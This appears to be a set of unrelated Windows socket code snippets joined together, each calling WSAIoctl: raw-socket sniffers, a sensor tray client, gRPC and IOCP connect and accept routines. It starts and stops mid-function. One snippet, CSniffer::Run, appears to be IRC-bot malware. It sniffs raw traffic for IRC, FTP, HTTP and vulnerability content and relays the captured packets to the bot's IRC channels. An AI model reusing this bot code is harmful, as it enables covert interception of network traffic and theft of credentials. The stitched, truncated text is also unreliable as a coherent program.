ERROR_NOT_ENOUGH_MEMORY ; goto error ; } // make the call if (WSAIoctl (sock, SIO_GET_INTERFACE_LIST, NULL, 0, m_pNIC, size, & size, NULL, NULL) == 0) { // call succeeded m_cNIC = size / sizeof INTERFACE_INFO ; break ; } // have we reached MAX_SUPPORTED_IFC if (m_cNIC == MAX_SUPPORTED_IFC) { m_cNIC = 0 ; retval = ERROR_GEN_FAILURE ; goto error ; } } WSACleanup () ; return S_OK ; error : if (m_pNIC) { ASSERT (m_hHeap) ; HeapFree (m_hHeap, NULL, m_pNIC) ; m_pNIC = NULL ; } if (sock != INVALID_SOCKET) { closesocket (sock) ; } WSACleanup () ; return HRESULT_FROM_WIN32 (retval) ; }
int _tmain(int argc, _TCHAR* argv[]) { #if defined(TEST) WSADATA wsa; //Initialise Winsock printf("\nInitialising Winsock..."); if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) { printf("WSAStartup() failed.\n"); return 1; } printf("Initialised"); //---------------------- // Create a SOCKET for connecting to server SOCKET ConnectSocket; struct sockaddr_in clientService; DWORD locations[3] = {0x00300025,0x002f0025,0x002e0025}; DWORD timestamp = 0x00fb3000; DWORD serverinfo = 0x0002ae05; DWORD area = 0x0000138c; MovePacket packet(locations,3,timestamp,serverinfo,area); ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (ConnectSocket == INVALID_SOCKET) { printf("socket failed with error: %ld\n", WSAGetLastError()); WSACleanup(); return 1; } //---------------------- // The sockaddr_in structure specifies the address family, // IP address, and port of the server to be connected to. clientService.sin_family = AF_INET; clientService.sin_addr.s_addr = inet_addr( TEST_SERVER ); clientService.sin_port = htons( DEFAULT_PORT ); //---------------------- // Connect to server. int iResult; iResult = connect( ConnectSocket, (SOCKADDR*) &clientService, sizeof(clientService) ); if (iResult == SOCKET_ERROR) { printf( "connect failed with error: %d\n", WSAGetLastError() ); closesocket(ConnectSocket); WSACleanup(); return 1; } //---------------------- // Send an initial buffer iResult = send( ConnectSocket, (const char*)packet.GetData(), packet.GetSize(), 0 ); if (iResult == SOCKET_ERROR) { printf("send() failed with error: %d\n", WSAGetLastError()); closesocket(ConnectSocket); WSACleanup(); return 1; } printf("Bytes Sent: %d\n", iResult); // shutdown the connection since no more data will be sent iResult = shutdown(ConnectSocket, SD_SEND); if (iResult == SOCKET_ERROR) { printf("shutdown failed with error: %d\n", WSAGetLastError()); closesocket(ConnectSocket); WSACleanup(); return 1; } while(1); return 1; #else SOCKET sniffer; struct in_addr addr; DWORD in; char hostname[100]; struct hostent *local; WSADATA wsa; fopen_s(&logfile,"log.txt","w"); if(logfile==NULL) printf("Unable to create file."); //Initialise Winsock printf("\nInitialising Winsock..."); if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) { printf("WSAStartup() failed.\n"); return 1; } printf("Initialised"); //Create a RAW Socket printf("\nCreating RAW Socket..."); sniffer = socket(AF_INET, SOCK_RAW, IPPROTO_IP); if (sniffer == INVALID_SOCKET) { printf("Failed to create raw socket.\n"); return 1; } printf("Created."); //Retrive the local hostname if (gethostname(hostname, sizeof(hostname)) == SOCKET_ERROR) { printf("Error : %d",WSAGetLastError()); return 1; } printf("\nHost name : %s \n",hostname); //Retrive the available IPs of the local host local = gethostbyname(hostname); printf("\nAvailable Network Interfaces : \n"); if (local == NULL) { printf("Error : %d.\n",WSAGetLastError()); return 1; } for (i = 0; local->h_addr_list[i] != 0; ++i) { memcpy(&addr, local->h_addr_list[i], sizeof(struct in_addr)); printf("Interface Number : %d Address : %s\n",i,inet_ntoa(addr)); } printf("Enter the interface number you would like to sniff : "); scanf_s("%d",&in); memset(&dest, 0, sizeof(dest)); memcpy(&dest.sin_addr.s_addr,local->h_addr_list[in],sizeof(dest.sin_addr.s_addr)); dest.sin_family = AF_INET; dest.sin_port = 0; printf("\nBinding socket to local system and port 0 ..."); if (bind(sniffer,(struct sockaddr *)&dest,sizeof(dest)) == SOCKET_ERROR) { printf("bind(%s) failed.\n", inet_ntoa(addr)); return 1; } printf("Binding successful"); //Enable this socket with the power to sniff : SIO_RCVALL is the key Receive ALL ;) j=1; printf("\nSetting socket to sniff..."); if (WSAIoctl(sniffer, SIO_RCVALL, &j, sizeof(j), 0, 0, &in,0, 0) == SOCKET_ERROR) { printf("WSAIoctl() failed.\n"); return 1; } printf("Socket set."); //Begin printf("\nStarted Sniffing\n"); printf("Packet Capture Statistics...\n"); StartSniffing(sniffer); //Happy Sniffing //End closesocket(sniffer); WSACleanup(); return 0; #endif }
int comms_connect(HWND hWnd, struct th_data *data) { struct tray_status *status = &data->status; struct tcp_keepalive ka_get; struct tcp_keepalive ka_set = { .onoff = 1, .keepalivetime = 5000, /* 5 seconds */ .keepaliveinterval = 5000 /* 5 seconds */ }; int timeout = 5000; /* 5 seconds */ INT ret; DWORD retd; DWORD err; odprintf("comms[connect]"); if (!data->running) return 0; if (data->s != INVALID_SOCKET) return 0; status->conn = NOT_CONNECTED; tray_update(hWnd, data); #if HAVE_GETADDRINFO if (data->addrs_cur == NULL && data->addrs_res != NULL) { freeaddrinfo(data->addrs_res); data->addrs_res = NULL; } if (data->addrs_res == NULL) { SetLastError(0); ret = getaddrinfo(data->node, data->service, &data->hints, &data->addrs_res); err = GetLastError(); odprintf("getaddrinfo: %d (%ld)", ret, err); if (ret != 0) { ret = snprintf(status->msg, sizeof(status->msg), "Unable to resolve node \"%s\" service \"%s\" (%d)", data->node, data->service, ret); if (ret < 0) status->msg[0] = 0; tray_update(hWnd, data); return 1; } if (data->addrs_res == NULL) { odprintf("no results"); ret = snprintf(status->msg, sizeof(status->msg), "No results resolving node \"%s\" service \"%s\"", data->node, data->service); if (ret < 0) status->msg[0] = 0; tray_update(hWnd, data); return 1; } data->addrs_cur = data->addrs_res; } SetLastError(0); ret = getnameinfo(data->addrs_cur->ai_addr, data->addrs_cur->ai_addrlen, data->hbuf, sizeof(data->hbuf), data->sbuf, sizeof(data->sbuf), NI_NUMERICHOST|NI_NUMERICSERV); err = GetLastError(); odprintf("getnameinfo: %d (%ld)", ret, err); if (ret == 0) { odprintf("trying to connect to node \"%s\" service \"%s\"", data->hbuf, data->sbuf); } else { data->hbuf[0] = 0; data->sbuf[0] = 0; } #else odprintf("trying to connect to node \"%s\" service \"%s\"", data->node, data->service); #endif SetLastError(0); #if HAVE_GETADDRINFO data->s = socket(data->addrs_cur->ai_family, SOCK_STREAM, IPPROTO_TCP); #else data->s = socket(data->family, SOCK_STREAM, IPPROTO_TCP); #endif err = GetLastError(); odprintf("socket: %d (%ld)", data->s, err); if (data->s == INVALID_SOCKET) { ret = snprintf(status->msg, sizeof(status->msg), "Unable to create socket (%ld)", err); if (ret < 0) status->msg[0] = 0; tray_update(hWnd, data); #if HAVE_GETADDRINFO data->addrs_cur = data->addrs_cur->ai_next; #endif return 1; } SetLastError(0); ret = setsockopt(data->s, SOL_SOCKET, SO_RCVTIMEO, (void*)&timeout, sizeof(timeout)); err = GetLastError(); odprintf("setsockopt: %d (%ld)", ret, err); if (ret != 0) { ret = snprintf(status->msg, sizeof(status->msg), "Unable to set socket timeout (%ld)", err); if (ret < 0) status->msg[0] = 0; tray_update(hWnd, data); SetLastError(0); ret = closesocket(data->s); err = GetLastError(); odprintf("closesocket: %d (%ld)", ret, err); data->s = INVALID_SOCKET; #if HAVE_GETADDRINFO data->addrs_cur = data->addrs_cur->ai_next; #endif return 1; } SetLastError(0); ret = WSAIoctl(data->s, SIO_KEEPALIVE_VALS, (void*)&ka_set, sizeof(ka_set), (void*)&ka_get, sizeof(ka_get), &retd, NULL, NULL); err = GetLastError(); odprintf("WSAIoctl: %d, %d (%ld)", ret, retd, err); if (ret != 0) { ret = snprintf(status->msg, sizeof(status->msg), "Unable to set socket keepalive options (%ld)", err); if (ret < 0) status->msg[0] = 0; tray_update(hWnd, data); SetLastError(0); ret = closesocket(data->s); err = GetLastError(); odprintf("closesocket: %d (%ld)", ret, err); data->s = INVALID_SOCKET; #if HAVE_GETADDRINFO data->addrs_cur = data->addrs_cur->ai_next; #endif return 1; } SetLastError(0); ret = WSAAsyncSelect(data->s, hWnd, WM_APP_SOCK, FD_CONNECT|FD_READ|FD_CLOSE); err = GetLastError(); odprintf("WSAAsyncSelect: %d (%ld)", ret, err); if (ret != 0) { ret = snprintf(status->msg, sizeof(status->msg), "Unable to async select on socket (%ld)", err); if (ret < 0) status->msg[0] = 0; tray_update(hWnd, data); SetLastError(0); ret = closesocket(data->s); err = GetLastError(); odprintf("closesocket: %d (%ld)", ret, err); data->s = INVALID_SOCKET; #if HAVE_GETADDRINFO data->addrs_cur = data->addrs_cur->ai_next; #endif return 1; } status->conn = CONNECTING; #if HAVE_GETADDRINFO if (data->hbuf[0] != 0 && data->sbuf[0] != 0) { ret = snprintf(status->msg, sizeof(status->msg), "node \"%s\" service \"%s\" (%ld)", data->hbuf, data->sbuf, err); } else { #endif ret = snprintf(status->msg, sizeof(status->msg), "node \"%s\" service \"%s\" (%ld)", data->node, data->service, err); #if HAVE_GETADDRINFO } #endif if (ret < 0) status->msg[0] = 0; tray_update(hWnd, data); SetLastError(0); #if HAVE_GETADDRINFO ret = connect(data->s, data->addrs_cur->ai_addr, data->addrs_cur->ai_addrlen); #else ret = connect(data->s, data->sa, data->sa_len); #endif err = GetLastError(); odprintf("connect: %d (%ld)", ret, err); if (ret == 0 || err == WSAEWOULDBLOCK) { return 0; } else { status->conn = NOT_CONNECTED; #if HAVE_GETADDRINFO if (data->hbuf[0] != 0 && data->sbuf[0] != 0) { ret = snprintf(status->msg, sizeof(status->msg), "Error connecting to node \"%s\" service \"%s\"", data->hbuf, data->sbuf); } else { #endif ret = snprintf(status->msg, sizeof(status->msg), "Error connecting to node \"%s\" service \"%s\"", data->node, data->service); #if HAVE_GETADDRINFO } #endif if (ret < 0) status->msg[0] = 0; tray_update(hWnd, data); SetLastError(0); ret = closesocket(data->s); err = GetLastError(); odprintf("closesocket: %d (%ld)", ret, err); data->s = INVALID_SOCKET; #if HAVE_GETADDRINFO data->addrs_cur = data->addrs_cur->ai_next; #endif return 1; } } int comms_activity(HWND hWnd, struct th_data *data, SOCKET s, WORD sEvent, WORD sError) { struct tray_status *status = &data->status; INT ret; DWORD err; odprintf("comms[activity]: s=%p sEvent=%d sError=%d", s, sEvent, sError); if (!data->running) return 0; if (data->s != s) return 0; switch (sEvent) { case FD_CONNECT: odprintf("FD_CONNECT %s", status->conn == CONNECTING ? "OK" : "?"); if (status->conn != CONNECTING) return 0; if (sError == 0) { status->conn = CONNECTED; status->msg[0] = 0; status->temperature_celsius = NAN; status->relative_humidity = NAN; status->dew_point = NAN; tray_update(hWnd, data); #if HAVE_GETADDRINFO freeaddrinfo(data->addrs_res); data->addrs_res = NULL; #endif data->parse_pos = 0; data->def_sensor = 0; return 0; } else { status->conn = NOT_CONNECTED; #if HAVE_GETADDRINFO if (data->hbuf[0] != 0 && data->sbuf[0] != 0) { ret = snprintf(status->msg, sizeof(status->msg), "Error connecting to node \"%s\" service \"%s\" (%d)", data->hbuf, data->sbuf, sError); } else { #endif ret = snprintf(status->msg, sizeof(status->msg), "Error connecting to node \"%s\" service \"%s\" (%d)", data->node, data->service, sError); #if HAVE_GETADDRINFO } #endif if (ret < 0) status->msg[0] = 0; tray_update(hWnd, data); SetLastError(0); ret = closesocket(data->s); err = GetLastError(); odprintf("closesocket: %d (%ld)", ret, err); data->s = INVALID_SOCKET; #if HAVE_GETADDRINFO data->addrs_cur = data->addrs_cur->ai_next; #endif return 1; } case FD_READ: odprintf("FD_READ %s", status->conn == CONNECTED ? "OK" : "?"); if (status->conn != CONNECTED) return 0; if (sError == 0) { char recv_buf[128]; SetLastError(0); ret = recv(data->s, recv_buf, sizeof(recv_buf), 0); err = GetLastError(); odprintf("recv: %d (%ld)", ret, err); if (ret <= 0) { status->conn = NOT_CONNECTED; #if HAVE_GETADDRINFO if (data->hbuf[0] != 0 && data->sbuf[0] != 0) { ret = snprintf(status->msg, sizeof(status->msg), "Error reading from node \"%s\" service \"%s\" (%ld)", data->hbuf, data->sbuf, err); } else { #endif ret = snprintf(status->msg, sizeof(status->msg), "Error reading from node \"%s\" service \"%s\" (%ld)", data->node, data->service, err); #if HAVE_GETADDRINFO } #endif if (ret < 0) status->msg[0] = 0; tray_update(hWnd, data); SetLastError(0); ret = closesocket(data->s); err = GetLastError(); odprintf("closesocket: %d (%ld)", ret, err); data->s = INVALID_SOCKET; return 1; } else if (err == WSAEWOULDBLOCK) { return 0; } else { int size, i; size = ret; for (i = 0; i < size; i++) { /* find a newline and parse the buffer */ if (recv_buf[i] == '\n') { comms_parse(hWnd, data); /* clear buffer */ data->parse_pos = 0; /* buffer overflow */ } else if (data->parse_pos == sizeof(data->parse_buf)/sizeof(char) - 1) { odprintf("parse: sender overflowed buffer waiting for '\\n'"); data->parse_buf[0] = 0; data->parse_pos++; /* ignore */ } else if (data->parse_pos > sizeof(data->parse_buf)/sizeof(char) - 1) { /* append to buffer */ } else { data->parse_buf[data->parse_pos++] = recv_buf[i]; data->parse_buf[data->parse_pos] = 0; } } return 0; } } else { status->conn = NOT_CONNECTED; #if HAVE_GETADDRINFO if (data->hbuf[0] != 0 && data->sbuf[0] != 0) { ret = snprintf(status->msg, sizeof(status->msg), "Error reading from node \"%s\" service \"%s\" (%d)", data->hbuf, data->sbuf, sError); } else { #endif ret = snprintf(status->msg, sizeof(status->msg), "Error reading from node \"%s\" service \"%s\" (%d)", data->node, data->service, sError); #if HAVE_GETADDRINFO } #endif if (ret < 0) status->msg[0] = 0; tray_update(hWnd, data); SetLastError(0); ret = closesocket(data->s); err = GetLastError(); odprintf("closesocket: %d (%ld)", ret, err); data->s = INVALID_SOCKET; return 1; } case FD_CLOSE: odprintf("FD_CLOSE %s", status->conn == CONNECTED ? "OK" : "?"); if (status->conn != CONNECTED) return 0; status->conn = NOT_CONNECTED; #if HAVE_GETADDRINFO if (data->hbuf[0] != 0 && data->sbuf[0] != 0) { ret = snprintf(status->msg, sizeof(status->msg), "Lost connection to node \"%s\" service \"%s\" (%d)", data->hbuf, data->sbuf, sError); } else { #endif ret = snprintf(status->msg, sizeof(status->msg), "Lost connection to node \"%s\" service \"%s\" (%d)", data->node, data->service, sError); #if HAVE_GETADDRINFO } #endif if (ret < 0) status->msg[0] = 0; tray_update(hWnd, data); SetLastError(0); ret = closesocket(data->s); err = GetLastError(); odprintf("closesocket: %d (%ld)", ret, err); data->s = INVALID_SOCKET; return 1; default: return 0; } } void comms_parse(HWND hWnd, struct th_data *data) { struct tray_status *status = &data->status; char msg_type[16]; if (sscanf(data->parse_buf, "%16s", msg_type) == 1) { odprintf("msg_type: %s", msg_type); if (!strcmp(msg_type, "SENSD")) { data->def_sensor = 1; } else if (!strcmp(msg_type, "SENSR")) { data->def_sensor = 0; } else if (data->def_sensor) { if (!strcmp(msg_type, "TEMPC")) { if (sscanf(data->parse_buf, "%*s %lf", &status->temperature_celsius) != 1) status->temperature_celsius = NAN; } else if (!strcmp(msg_type, "RHUM%")) { if (sscanf(data->parse_buf, "%*s %lf", &status->relative_humidity) != 1) status->relative_humidity = NAN; } else if (!strcmp(msg_type, "DEWPC")) { if (sscanf(data->parse_buf, "%*s %lf", &status->dew_point) != 1) status->dew_point = NAN; } else if (!strcmp(msg_type, "SENSF")) { tray_update(hWnd, data); } } } }
/* Tries to issue one async connection, then schedules both an IOCP notification request for the connection, and one timeout alert. */ void grpc_tcp_client_connect(grpc_exec_ctx *exec_ctx, grpc_closure *on_done, grpc_endpoint **endpoint, grpc_pollset_set *interested_parties, const struct sockaddr *addr, size_t addr_len, gpr_timespec deadline) { SOCKET sock = INVALID_SOCKET; BOOL success; int status; struct sockaddr_in6 addr6_v4mapped; struct sockaddr_in6 local_address; async_connect *ac; grpc_winsocket *socket = NULL; LPFN_CONNECTEX ConnectEx; GUID guid = WSAID_CONNECTEX; DWORD ioctl_num_bytes; const char *message = NULL; char *utf8_message; grpc_winsocket_callback_info *info; *endpoint = NULL; /* Use dualstack sockets where available. */ if (grpc_sockaddr_to_v4mapped(addr, &addr6_v4mapped)) { addr = (const struct sockaddr *)&addr6_v4mapped; addr_len = sizeof(addr6_v4mapped); } sock = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED); if (sock == INVALID_SOCKET) { message = "Unable to create socket: %s"; goto failure; } if (!grpc_tcp_prepare_socket(sock)) { message = "Unable to set socket options: %s"; goto failure; } /* Grab the function pointer for ConnectEx for that specific socket. It may change depending on the interface. */ status = WSAIoctl(sock, SIO_GET_EXTENSION_FUNCTION_POINTER, &guid, sizeof(guid), &ConnectEx, sizeof(ConnectEx), &ioctl_num_bytes, NULL, NULL); if (status != 0) { message = "Unable to retrieve ConnectEx pointer: %s"; goto failure; } grpc_sockaddr_make_wildcard6(0, &local_address); status = bind(sock, (struct sockaddr *)&local_address, sizeof(local_address)); if (status != 0) { message = "Unable to bind socket: %s"; goto failure; } socket = grpc_winsocket_create(sock, "client"); info = &socket->write_info; success = ConnectEx(sock, addr, (int)addr_len, NULL, 0, NULL, &info->overlapped); /* It wouldn't be unusual to get a success immediately. But we'll still get an IOCP notification, so let's ignore it. */ if (!success) { int error = WSAGetLastError(); if (error != ERROR_IO_PENDING) { message = "ConnectEx failed: %s"; goto failure; } } ac = gpr_malloc(sizeof(async_connect)); ac->on_done = on_done; ac->socket = socket; gpr_mu_init(&ac->mu); ac->refs = 2; ac->addr_name = grpc_sockaddr_to_uri(addr); ac->endpoint = endpoint; grpc_closure_init(&ac->on_connect, on_connect, ac); grpc_timer_init(exec_ctx, &ac->alarm, deadline, on_alarm, ac, gpr_now(GPR_CLOCK_MONOTONIC)); grpc_socket_notify_on_write(exec_ctx, socket, &ac->on_connect); return; failure: utf8_message = gpr_format_message(WSAGetLastError()); gpr_log(GPR_ERROR, message, utf8_message); gpr_free(utf8_message); if (socket != NULL) { grpc_winsocket_destroy(socket); } else if (sock != INVALID_SOCKET) { closesocket(sock); } grpc_exec_ctx_enqueue(exec_ctx, on_done, false, NULL); }
int IOCP_Connect(IOCP* iocp, IOCP_KEY key, SOCKADDR* addr, unsigned char* buf, unsigned int len, unsigned int timeout, IOCP_Proc func, void* param) { IOCP_CONTEXT* context = (IOCP_CONTEXT*)(key); SOCKET socket = (SOCKET)(context->handle); DWORD dwBytesReceived = 0; GUID GuidConnectEx = WSAID_CONNECTEX; LPFN_CONNECTEX lpfnConnectEx = NULL; DWORD dwBytes = 0; int ret = IOCP_PENDING; DWORD bytesSent = 0; if( !iocp->inited ) { return IOCP_UNINITIALIZED; } if( 0 != WSAIoctl(socket, SIO_GET_EXTENSION_FUNCTION_POINTER, &GuidConnectEx, sizeof(GuidConnectEx), &lpfnConnectEx, sizeof(lpfnConnectEx), &dwBytes, NULL, NULL) ) { iocp->lastErrorCode = WSAGetLastError(); return IOCP_UNDEFINED; } if(context->lockPtr) { Lock_Read(context->lockPtr); } if(context->status != IOCP_NORMAL) { ret = context->status; } //else if(iocp->sessionTimeout(iocp, context)) else if(IOCP_SessionTimeout(iocp, context)) { ret = IOCP_SESSIONTIMEO; } else { context->writeOlp.oppType = IOCP_CONNECT; context->writeOlp.buf = buf; context->writeOlp.len = len; context->writeOlp.iocpProc = func; context->writeOlp.param = param; context->writeOlp.realLen = len; context->writeOlp.timeout = timeout; if(timeout > 0) { context->writeOlp.timer = //TimerQueue_CreateTimer(&iocp->timerQueue, timeout , iocp->writeTimeout, context); TimerQueue_CreateTimer(&iocp->timerQueue, timeout , IOCP_WriteTimeout, context); } if( !lpfnConnectEx(socket, addr, sizeof(SOCKADDR), buf, len, &bytesSent, (LPOVERLAPPED)(&context->writeOlp)) ) { int errorCode = WSAGetLastError(); if( WSA_IO_PENDING != errorCode ) { iocp->lastErrorCode = errorCode; ret = IOCP_UNDEFINED; } } else { ret = IOCP_UNDEFINED; } if(ret != IOCP_PENDING) { //iocp->cleanOlp(iocp, &context->writeOlp); IOCP_CleanOlp(iocp, &context->writeOlp); } } if(context->lockPtr) { Lock_Unlock(context->lockPtr); } return ret; }
// // Create a socket and invoke AcceptEx. Only the original call to to this // function needs to be added to the IOCP. // // If the expected behaviour of connecting client applications is to NOT // send data right away, then only posting one AcceptEx can cause connection // attempts to be refused if a client connects without sending some initial // data (notice that the associated iocpclient does not operate this way // but instead makes a connection and starts sending data write away). // This is because the IOCP packet does not get delivered without the initial // data (as implemented in this sample) thus preventing the worker thread // from posting another AcceptEx and eventually the backlog value set in // listen() will be exceeded if clients continue to try to connect. // // One technique to address this situation is to simply cause AcceptEx // to return right away upon accepting a connection without returning any // data. This can be done by setting dwReceiveDataLength=0 when calling AcceptEx. // // Another technique to address this situation is to post multiple calls // to AcceptEx. Posting multiple calls to AcceptEx is similar in concept to // increasing the backlog value in listen(), though posting AcceptEx is // dynamic (i.e. during the course of running your application you can adjust // the number of AcceptEx calls you post). It is important however to keep // your backlog value in listen() high in your server to ensure that the // stack can accept connections even if your application does not get enough // CPU cycles to repost another AcceptEx under stress conditions. // // This sample implements neither of these techniques and is therefore // susceptible to the behaviour described above. // BOOL CreateAcceptSocket(BOOL fUpdateIOCP) { int nRet = 0; DWORD dwRecvNumBytes = 0; DWORD bytes = 0; // // GUID to Microsoft specific extensions // GUID acceptex_guid = WSAID_ACCEPTEX; // //The context for listening socket uses the SockAccept member to store the //socket for client connection. // if( fUpdateIOCP ) { g_pCtxtListenSocket = UpdateCompletionPort(g_sdListen, ClientIoAccept, FALSE); if( g_pCtxtListenSocket == NULL ) { myprintf("failed to update listen socket to IOCP\n"); return(FALSE); } // Load the AcceptEx extension function from the provider for this socket nRet = WSAIoctl( g_sdListen, SIO_GET_EXTENSION_FUNCTION_POINTER, &acceptex_guid, sizeof(acceptex_guid), &g_pCtxtListenSocket->fnAcceptEx, sizeof(g_pCtxtListenSocket->fnAcceptEx), &bytes, NULL, NULL ); if (nRet == SOCKET_ERROR) { myprintf("failed to load AcceptEx: %d\n", WSAGetLastError()); return (FALSE); } } g_pCtxtListenSocket->pIOContext->SocketAccept = CreateSocket(); if( g_pCtxtListenSocket->pIOContext->SocketAccept == INVALID_SOCKET) { myprintf("failed to create new accept socket\n"); return(FALSE); } // // pay close attention to these parameters and buffer lengths // nRet = g_pCtxtListenSocket->fnAcceptEx(g_sdListen, g_pCtxtListenSocket->pIOContext->SocketAccept, (LPVOID)(g_pCtxtListenSocket->pIOContext->Buffer), MAX_BUFF_SIZE - (2 * (sizeof(SOCKADDR_STORAGE) + 16)), sizeof(SOCKADDR_STORAGE) + 16, sizeof(SOCKADDR_STORAGE) + 16, &dwRecvNumBytes, (LPOVERLAPPED) &(g_pCtxtListenSocket->pIOContext->Overlapped)); if( nRet == SOCKET_ERROR && (ERROR_IO_PENDING != WSAGetLastError()) ) { myprintf("AcceptEx() failed: %d\n", WSAGetLastError()); return(FALSE); } return(TRUE); }
void *CSniffer::Run() { int sock; sockaddr_in addr_in; hostent *hEnt; IPHEADER *ipHeader; TCPHEADER *tcpHeader; char *szPacket; char szName[255]={0}; unsigned long lLocalIp; addr_in.sin_family=AF_INET; addr_in.sin_port=0; addr_in.sin_addr.s_addr=0; gethostname(szName, sizeof(szName)); hEnt=gethostbyname(szName); memcpy(&lLocalIp, hEnt->h_addr_list[0], hEnt->h_length); addr_in.sin_addr.s_addr=lLocalIp; sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP); if(sock==INVALID_SOCKET) return NULL; if(bind(sock, (sockaddr*)&addr_in, sizeof(sockaddr))==SOCKET_ERROR) { #ifdef _WIN32 closesocket(sock); #else close(sock); #endif // _WIN32 return NULL; } #ifdef WIN32 int optval=1; DWORD dwBytesRet; if(WSAIoctl(sock, SIO_RCVALL, &optval, sizeof(optval), NULL, 0, &dwBytesRet, NULL, NULL)==SOCKET_ERROR) { closesocket(sock); return NULL; } #endif // WIN32 char szRecvBuf[65535]; ipHeader=(IPHEADER*)szRecvBuf; int iRead; while(g_pMainCtrl->m_bRunning) { // Clear the buffer memset(szRecvBuf, 0, sizeof(szRecvBuf)); iRead=0; // Wait till the sniffer is enabled while(!g_pMainCtrl->m_cBot.sniffer_enabled.bValue) Sleep(1000); // Read the raw packet #ifdef _WIN32 iRead=recv(sock, szRecvBuf, sizeof(szRecvBuf), 0); #else iRead=recv(sock, szRecvBuf, sizeof(szRecvBuf), 0); #endif // _WIN32 // Process if its a TCP/IP packet if(ipHeader->proto==6) { tcpHeader=(TCPHEADER*)(szRecvBuf+sizeof(*ipHeader)); int iSrcPort, iDestPort; char szSrcHost[2048], szDestHost[2048]; iSrcPort=ntohs(tcpHeader->th_sport); iDestPort=ntohs(tcpHeader->th_dport); if(iSrcPort !=110 && iSrcPort!=25 && iDestPort !=110 && iDestPort!=25 && iSrcPort!=g_pMainCtrl->m_cBot.si_port.iValue && iDestPort!=g_pMainCtrl->m_cBot.si_port.iValue) { sprintf(szSrcHost, "%s", inet_ntoa(to_in_addr(ipHeader->sourceIP))); sprintf(szDestHost, "%s", inet_ntoa(to_in_addr(ipHeader->destIP))); szPacket=(char*)(szRecvBuf+sizeof(*tcpHeader)+sizeof(*ipHeader)); for(int i=0; i<strlen(szPacket); i++) { if(szPacket[i]=='\r') szPacket[i]='\x20'; if(szPacket[i]=='\n') szPacket[i]='\x20'; } if(iSrcPort!=80 && iDestPort!=80 && IsSuspiciousBot(szPacket)) { g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.sniffer_channel.sValue.Str(), "Bot sniff \"%s:%d\" to \"%s:%d\": - \"%s\"\n", szSrcHost, iSrcPort, szDestHost, iDestPort, szPacket); } else if(iSrcPort!=80 && iDestPort!=80 && IsSuspiciousIRC(szPacket)) { g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.sniffer_channel.sValue.Str(), "IRC sniff \"%s:%d\" to \"%s:%d\": - \"%s\"\n", szSrcHost, iSrcPort, szDestHost, iDestPort, szPacket); } else if(iSrcPort!=80 && iDestPort!=80 && IsSuspiciousFTP(szPacket)) { g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.sniffer_channel.sValue.Str(), "FTP sniff \"%s:%d\" to \"%s:%d\": - \"%s\"\n", szSrcHost, iSrcPort, szDestHost, iDestPort, szPacket); } else if(IsSuspiciousHTTP(szPacket)) { g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.sniffer_channel.sValue.Str(), "HTTP sniff \"%s:%d\" to \"%s:%d\": - \"%s\"\n", szSrcHost, iSrcPort, szDestHost, iDestPort, szPacket); } else if(IsSuspiciousVULN(szPacket)) { g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.vuln_channel.sValue.Str(), "VULN sniff \"%s:%d\" to \"%s:%d\": - \"%s\"\n", szSrcHost, iSrcPort, szDestHost, iDestPort, szPacket); } } } } return NULL; }
///////////////////////////////////////////////////////////////// // 初始化Socket bool CIOCPModel::_InitializeListenSocket() { // AcceptEx 和 GetAcceptExSockaddrs 的GUID,用于导出函数指针 GUID GuidAcceptEx = WSAID_ACCEPTEX; GUID GuidGetAcceptExSockAddrs = WSAID_GETACCEPTEXSOCKADDRS; // 服务器地址信息,用于绑定Socket struct sockaddr_in ServerAddress; // 生成用于监听的Socket的信息 m_pListenContext = new PER_SOCKET_CONTEXT; // 需要使用重叠IO,必须得使用WSASocket来建立Socket,才可以支持重叠IO操作 m_pListenContext->m_Socket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); if (INVALID_SOCKET == m_pListenContext->m_Socket) { //this->_ShowMessage("初始化Socket失败,错误代码: %d.\n", WSAGetLastError()); return false; } else { //TRACE("WSASocket() 完成.\n"); } // 将Listen Socket绑定至完成端口中 if( NULL== CreateIoCompletionPort( (HANDLE)m_pListenContext->m_Socket, m_hIOCompletionPort,(DWORD)m_pListenContext, 0)) { //this->_ShowMessage("绑定 Listen Socket至完成端口失败!错误代码: %d/n", WSAGetLastError()); RELEASE_SOCKET( m_pListenContext->m_Socket ); return false; } else { //TRACE("Listen Socket绑定完成端口 完成.\n"); } // 填充地址信息 ZeroMemory((char *)&ServerAddress, sizeof(ServerAddress)); ServerAddress.sin_family = AF_INET; // 这里可以绑定任何可用的IP地址,或者绑定一个指定的IP地址 //ServerAddress.sin_addr.s_addr = htonl(INADDR_ANY); ServerAddress.sin_addr.s_addr = inet_addr(GetLocalIP().toStdString().c_str()); ServerAddress.sin_port = htons(m_nPort); // 绑定地址和端口 if (SOCKET_ERROR == ::bind(m_pListenContext->m_Socket, (struct sockaddr *) &ServerAddress, sizeof(ServerAddress))) { //this->_ShowMessage("bind()函数执行错误.\n"); return false; } else { //TRACE("bind() 完成.\n"); } // 开始进行监听 if (SOCKET_ERROR == ::listen(m_pListenContext->m_Socket,SOMAXCONN)) { //this->_ShowMessage("Listen()函数执行出现错误.\n"); return false; } else { //TRACE("Listen() 完成.\n"); } // 使用AcceptEx函数,因为这个是属于WinSock2规范之外的微软另外提供的扩展函数 // 所以需要额外获取一下函数的指针, // 获取AcceptEx函数指针 DWORD dwBytes = 0; if(SOCKET_ERROR == WSAIoctl( m_pListenContext->m_Socket, SIO_GET_EXTENSION_FUNCTION_POINTER, &GuidAcceptEx, sizeof(GuidAcceptEx), &m_lpfnAcceptEx, sizeof(m_lpfnAcceptEx), &dwBytes, NULL, NULL)) { //this->_ShowMessage("WSAIoctl 未能获取AcceptEx函数指针。错误代码: %d\n", WSAGetLastError()); this->_DeInitialize(); return false; } // 获取GetAcceptExSockAddrs函数指针,也是同理 if(SOCKET_ERROR == WSAIoctl( m_pListenContext->m_Socket, 